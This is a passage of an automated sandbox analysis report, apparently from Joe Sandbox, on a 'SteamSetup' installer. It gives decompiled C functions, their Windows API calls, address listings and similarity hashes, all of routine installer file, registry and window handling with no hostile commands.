Part of subcall function 0040336E: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040306C,?), ref: 0040337C

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403119,00000004,00000000,00000000,?,?,00403093,000000FF,00000000,00000000,0040A230,?), ref: 00403236
SetFilePointer.KERNELBASE(0004AA46,00000000,00000000,00414ED0,00004000,?,00000000,00403119,00000004,00000000,00000000,?,?,00403093,000000FF,00000000), ref: 00403331

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: b3fd91dc8097377be659eed59c8f183f202132fe70a312b1c125cad623fb23c1
Instruction ID: 2fd669d0756999c0d63da40b5d988076205959dac08f3783f289fe1fafb1afdd
Opcode Fuzzy Hash: b3fd91dc8097377be659eed59c8f183f202132fe70a312b1c125cad623fb23c1
Instruction Fuzzy Hash: 19314B72500204DBD710DF69EEC49663FA9F74075A718423FE900F22E0CBB55D458B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401B37 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B37(void* __ebx) {
				intOrPtr _t8;
				void* _t9;
				void _t12;
				void* _t14;
				void* _t22;
				void* _t25;
				void* _t30;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t37;

				_t28 = __ebx;
				_t8 =  *((intOrPtr*)(_t37 - 0x24));
				_t30 =  *0x40cddc; // 0x618ff8
				if(_t8 == __ebx) {
					if( *((intOrPtr*)(_t37 - 0x28)) == __ebx) {
						_t9 = GlobalAlloc(0x40, 0x804); // executed
						_t34 = _t9;
						_t5 = _t34 + 4; // 0x4
						E004061A0(__ebx, _t30, _t34, _t5,  *((intOrPtr*)(_t37 - 0x2c)));
						_t12 =  *0x40cddc; // 0x618ff8
						 *_t34 = _t12;
						 *0x40cddc = _t34;
					} else {
						if(_t30 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t3 = _t30 + 4; // 0x618ffc
							E0040617E(_t33, _t3);
							_push(_t30);
							 *0x40cddc =  *_t30;
							GlobalFree();
						}
					}
					goto L15;
				} else {
					while(1) {
						_t8 = _t8 - 1;
						if(_t30 == _t28) {
							break;
						}
						_t30 =  *_t30;
						if(_t8 != _t28) {
							continue;
						} else {
							if(_t30 == _t28) {
								break;
							} else {
								_t32 = _t30 + 4;
								_t36 = L"Call";
								E0040617E(_t36, _t30 + 4);
								_t22 =  *0x40cddc; // 0x618ff8
								E0040617E(_t32, _t22 + 4);
								_t25 =  *0x40cddc; // 0x618ff8
								_push(_t36);
								_push(_t25 + 4);
								E0040617E();
								L15:
								 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t37 - 4));
								_t14 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E004061A0(_t28, _t30, _t33, _t28, 0xffffffe8));
					E004058C3();
					_t14 = 0x7fffffff;
				}
				L17:
				return _t14;
			}

0x00401b37
0x00401b37
0x00401b3a
0x00401b42
0x00401b8b
0x00401bb9
0x00401bc2
0x00401bc4
0x00401bc8
0x00401bcd
0x00401bd2
0x00401bd4
0x00401b8d
0x00401b8f
0x0040281e
0x00401b95
0x00401b95
0x00401b9a
0x00401ba1
0x00401ba2
0x00401ba7
0x00401ba7
0x00401b8f
0x00000000
0x00401b44
0x00401b44
0x00401b44
0x00401b47
0x00000000
0x00000000
0x00401b4d
0x00401b51
0x00000000
0x00401b53
0x00401b55
0x00000000
0x00401b5b
0x00401b5b
0x00401b5e
0x00401b65
0x00401b6a
0x00401b74
0x00401b79
0x00401b7e
0x00401b82
0x00402970
0x00402a4c
0x00402a4f
0x00402a55
0x00402a55
0x00401b55
0x00000000
0x00401b51
0x00402275
0x00402282
0x00402283
0x00402288
0x00402288
0x00402a57
0x00402a5b

APIs

GlobalFree.KERNEL32 ref: 00401BA7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BB9

Strings

Call, xrefs: 00401B5E, 00401B64, 00401B7E

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: e295b54685931270dff86f202c2fdefb044b2b91f5e4e3df0bc5e06abf08786f
Instruction ID: 7cdfc3cbb2e69f4264c6c6693aec6085e55c642d7687a467de19211c04d07d9e
Opcode Fuzzy Hash: e295b54685931270dff86f202c2fdefb044b2b91f5e4e3df0bc5e06abf08786f
Instruction Fuzzy Hash: 67219672A00100EBDB20EB94CD85D5E77B6AF84314B21453BF502F72E1DA7898618F5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405927 Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00405927(void* __eflags, WCHAR* _a4, signed int _a8) {
				int _t9;
				long _t13;
				WCHAR* _t14;

				_t14 = _a4;
				_t13 = E00405D2E(_t14);
				if(_t13 == 0xffffffff) {
					L8:
					return 0;
				}
				_push(_t14);
				if((_a8 & 0x00000001) == 0) {
					_t9 = DeleteFileW(); // executed
				} else {
					_t9 = RemoveDirectoryW(); // executed
				}
				if(_t9 == 0) {
					if((_a8 & 0x00000004) == 0) {
						SetFileAttributesW(_t14, _t13);
					}
					goto L8;
				} else {
					return 1;
				}
			}

0x00405928
0x00405933
0x00405938
0x00405968
0x00000000
0x00405968
0x0040593f
0x00405940
0x0040594a
0x00405942
0x00405942
0x00405942
0x00405952
0x0040595e
0x00405962
0x00405962
0x00000000
0x00405954
0x00000000
0x00405956

APIs

Part of subcall function 00405D2E: GetFileAttributesW.KERNELBASE(?,?,00405933,?,?,00000000,00405B09,?,?,?,?), ref: 00405D33
Part of subcall function 00405D2E: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405D47

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405B09), ref: 00405942
DeleteFileW.KERNELBASE(?,?,?,00000000,00405B09), ref: 0040594A
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405962

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 4d7e10e481d95c5c5c7c05f6c7e2fdde8e74fc3924f4c20308c7a9621a850695
Instruction ID: ecea3d8082f0941e5ee01c5501cf82e541f4c7e763f85e657b920a2cf98d934c
Opcode Fuzzy Hash: 4d7e10e481d95c5c5c7c05f6c7e2fdde8e74fc3924f4c20308c7a9621a850695
Instruction Fuzzy Hash: 6EE09B72105A91D6D21067349E0CB5F2AD8DF96335F09493EF595F11D0C778880ACA7D

Uniqueness

Uniqueness Score: -1.00%

Function 0040421B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040421B(int _a4) {
				long _t3;

				if(_a4 == 0x78) {
					 *0x42920c =  *0x42920c + 1;
				}
				_t3 = SendMessageW( *0x42a248, 0x408, _a4, 0); // executed
				return _t3;
			}

0x00404220
0x00404222
0x00404222
0x00404239
0x0040423f

APIs

SendMessageW.USER32(00000408,?,00000000,00403E78), ref: 00404239

Strings

x, xrefs: 0040421B

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend
String ID: x
API String ID: 3850602802-2363233923
Opcode ID: 3e871ac91d012b6cae2f90b6371e3effc72337ca5df1d59cb8fc0e815e15e1ac
Instruction ID: 9e34857be529cc3efc5f0a7cea2a0d9e3d50e3e0a723924f26ebfb3191f04208
Opcode Fuzzy Hash: 3e871ac91d012b6cae2f90b6371e3effc72337ca5df1d59cb8fc0e815e15e1ac
Instruction Fuzzy Hash: 78C012B1240200FBCA209B00EE00B167A20F7A8702F2089BDF380200B086718822DB2D

Uniqueness

Uniqueness Score: -1.00%

Function 004030E7 Relevance: 3.1, APIs: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004030E7(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
				long _v8;
				long _t21;
				long _t22;
				void* _t24;
				long _t26;
				int _t27;
				long _t28;
				void* _t29;
				void* _t30;
				long _t31;
				long _t32;
				long _t36;

				_t21 = _a4;
				if(_t21 >= 0) {
					_t32 = _t21 +  *0x42a298;
					 *0x418ed4 = _t32;
					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
				}
				_t22 = E004031EF(4);
				if(_t22 >= 0) {
					_t24 = E00405DD6( *0x40a01c,  &_a4, 4); // executed
					if(_t24 == 0) {
						L18:
						_push(0xfffffffd);
						goto L19;
					} else {
						 *0x418ed4 =  *0x418ed4 + 4;
						_t36 = E004031EF(_a4);
						if(_t36 < 0) {
							L21:
							_t22 = _t36;
						} else {
							if(_a12 != 0) {
								_t26 = _a4;
								if(_t26 >= _a16) {
									_t26 = _a16;
								}
								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
								if(_t27 != 0) {
									_t36 = _v8;
									 *0x418ed4 =  *0x418ed4 + _t36;
									goto L21;
								} else {
									goto L18;
								}
							} else {
								if(_a4 <= 0) {
									goto L21;
								} else {
									while(1) {
										_t28 = _a4;
										if(_a4 >= 0x4000) {
											_t28 = 0x4000;
										}
										_v8 = _t28;
										_t29 = E00405DD6( *0x40a01c, 0x414ed0, _t28); // executed
										if(_t29 == 0) {
											goto L18;
										}
										_t30 = E00405E05(_a8, 0x414ed0, _v8); // executed
										if(_t30 == 0) {
											_push(0xfffffffe);
											L19:
											_pop(_t22);
										} else {
											_t31 = _v8;
											_a4 = _a4 - _t31;
											 *0x418ed4 =  *0x418ed4 + _t31;
											_t36 = _t36 + _t31;
											if(_a4 > 0) {
												continue;
											} else {
												goto L21;
											}
										}
										goto L22;
									}
									goto L18;
								}
							}
						}
					}
				}
				L22:
				return _t22;
			}

0x004030eb
0x004030f4
0x004030fd
0x00403101
0x0040310c
0x0040310c
0x00403114
0x0040311b
0x0040312d
0x00403134
0x004031d9
0x004031d9
0x00000000
0x0040313a
0x0040313d
0x00403149
0x0040314d
0x004031e7
0x004031e7
0x00403153
0x00403156
0x004031b5
0x004031bb
0x004031bd
0x004031bd
0x004031cf
0x004031d7
0x004031de
0x004031e1
0x00000000
0x00000000
0x00000000
0x00000000
0x00403158
0x0040315b
0x00000000
0x00403161
0x00403166
0x0040316d
0x00403170
0x00403172
0x00403172
0x0040317f
0x00403182
0x00403189
0x00000000
0x00000000
0x00403192
0x00403199
0x004031b1
0x004031db
0x004031db
0x0040319b
0x0040319b
0x0040319e
0x004031a1
0x004031a7
0x004031ad
0x00000000
0x004031af
0x00000000
0x004031af
0x004031ad
0x00000000
0x00403199
0x00000000
0x00403166
0x0040315b
0x00403156
0x0040314d
0x00403134
0x004031e9
0x004031ec

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403093,000000FF,00000000,00000000,0040A230,?), ref: 0040310C

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1aa85c7260de761b297061d79344dc340e95e4778a17b24641d9514d9a29d692
Instruction ID: 040f2acbe5348ef8c996952313d322865bd2faa87b76d8d9ba7109e69b0e4b3d
Opcode Fuzzy Hash: 1aa85c7260de761b297061d79344dc340e95e4778a17b24641d9514d9a29d692
Instruction Fuzzy Hash: 22316B30200219EBDB108F55ED84ADA3F68EB08359F20813AF905EA1D0DB79DF50DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040242A(int* __ebx, char* __esi) {
				void* _t17;
				short* _t18;
				void* _t33;
				void* _t37;
				void* _t40;

				_t35 = __esi;
				_t27 = __ebx;
				_t17 = E00402CC9(_t40, 0x20019); // executed
				_t33 = _t17;
				_t18 = E00402BBF(0x33);
				 *__esi = __ebx;
				if(_t33 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x34) = 0x800;
					if(RegQueryValueExW(_t33, _t18, __ebx, _t37 + 8, __esi, _t37 - 0x34) != 0) {
						L7:
						 *_t35 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x1c) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x1c) == __ebx;
							E004060C5(__esi,  *__esi);
						} else {
							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x1c);
								_t35[0x7fe] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t33);
					RegCloseKey();
				}
				 *0x42a2c8 =  *0x42a2c8 +  *(_t37 - 4);
				return 0;
			}

0x0040242a
0x0040242a
0x0040242f
0x00402436
0x00402438
0x0040243f
0x00402442
0x0040281e
0x00402448
0x0040244b
0x00402466
0x00402496
0x00402496
0x00402499
0x00402468
0x0040246c
0x00402485
0x0040248c
0x0040248f
0x0040246e
0x00402471
0x0040247c
0x004024ee
0x00000000
0x00000000
0x00000000
0x00402471
0x0040246c
0x004024f5
0x004024f6
0x004024f6
0x00402a4f
0x00402a5b

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsc3274.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f3a6c8ed13bfef7f4f4e81f9e590a6ec9e6b007072a39b25c87b4e3dc8c3e298
Instruction ID: a4ed2935f8c713a64b441f8b02302a8faa8aa65f3841d01997d269d515fb9b23
Opcode Fuzzy Hash: f3a6c8ed13bfef7f4f4e81f9e590a6ec9e6b007072a39b25c87b4e3dc8c3e298
Instruction Fuzzy Hash: 9D119131911205EBDB10CFA0CA489AEB7B4EF44354B20843FE446B72D0D6B85A41DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x42a270;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42922c =  *0x42922c + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x42922c, 0x7530,  *0x429214), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3ee467f7d586eb782eae2bae36c3decf9d7e0780ea8b642ce91f4ebf2c7a7eb5
Instruction ID: d65e0694727b7210e6f7bc09f77efd2c0147e56cffd904cd4a2c980f2ed28b93
Opcode Fuzzy Hash: 3ee467f7d586eb782eae2bae36c3decf9d7e0780ea8b642ce91f4ebf2c7a7eb5
Instruction Fuzzy Hash: 3D01D131724210EBEB195B789D04B2A3698E714314F1089BAF855F62F1DA788C128B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406558 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406558(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a410);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
				}
				_t5 = E004064E8(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406560
0x00406563
0x0040656a
0x00406572
0x0040657e
0x00000000
0x00406585
0x00406575
0x0040657c
0x00000000
0x0040658d
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040341F,00000009), ref: 0040656A
GetProcAddress.KERNEL32(00000000,?), ref: 00406585

Part of subcall function 004064E8: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004064FF
Part of subcall function 004064E8: wsprintfW.USER32 ref: 0040653A
Part of subcall function 004064E8: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040654E

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 45558713834216164227cc70c45b1d33d53decf29647882cb75fd2fc812b7039
Instruction ID: 8c1a5bb66f910ccc430fc34c4425cef617f316e2833151c7c1ff8c8a0ee84b40
Opcode Fuzzy Hash: 45558713834216164227cc70c45b1d33d53decf29647882cb75fd2fc812b7039
Instruction Fuzzy Hash: C3E086326042206BD6105B706E0893762BC9ED8740302483EF946F2084D778DC329A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402A27 Relevance: 3.0, APIs: 2, Instructions: 21
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402A27(signed int __eax) {
				RECT* _t10;
				signed int _t12;
				void* _t16;

				_t12 =  *0x425728; // 0x1
				SendMessageW( *(_t16 - 0xc), 0xb, _t12 & __eax, _t10); // executed
				if( *((intOrPtr*)(_t16 - 0x2c)) != _t10) {
					InvalidateRect( *(_t16 - 0xc), _t10, _t10);
				}
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t16 - 4));
				return 0;
			}

0x00402a27
0x00402a36
0x00402a3f
0x00402a46
0x00402a46
0x00402a4f
0x00402a5b

APIs

SendMessageW.USER32(?,0000000B,00000001), ref: 00402A36
InvalidateRect.USER32(?), ref: 00402A46

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: InvalidateMessageRectSend
String ID:
API String ID: 909852535-0
Opcode ID: ed66596cb0895ebb56098c0ea451a8055905491f905678518ad783c0e98d1dc2
Instruction ID: 47f22c4b3ee4e0bf09e836b72e9a5e8dffc4d4792f44bed08fe24313f53e94e1
Opcode Fuzzy Hash: ed66596cb0895ebb56098c0ea451a8055905491f905678518ad783c0e98d1dc2
Instruction Fuzzy Hash: 1CE046B2B40504EFDB10CBA4FD849AEB7BAEB84365B10807AE102A00A0DB314C108A28

Uniqueness

Uniqueness Score: -1.00%

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: f95c109804867172db61b1135defe61bd419d678e2b077b04fc1289a75674494
Instruction ID: 21ddd3577add1129786b8edf5e015a7aca6159172531db4ba1f8ff50d12c07f3
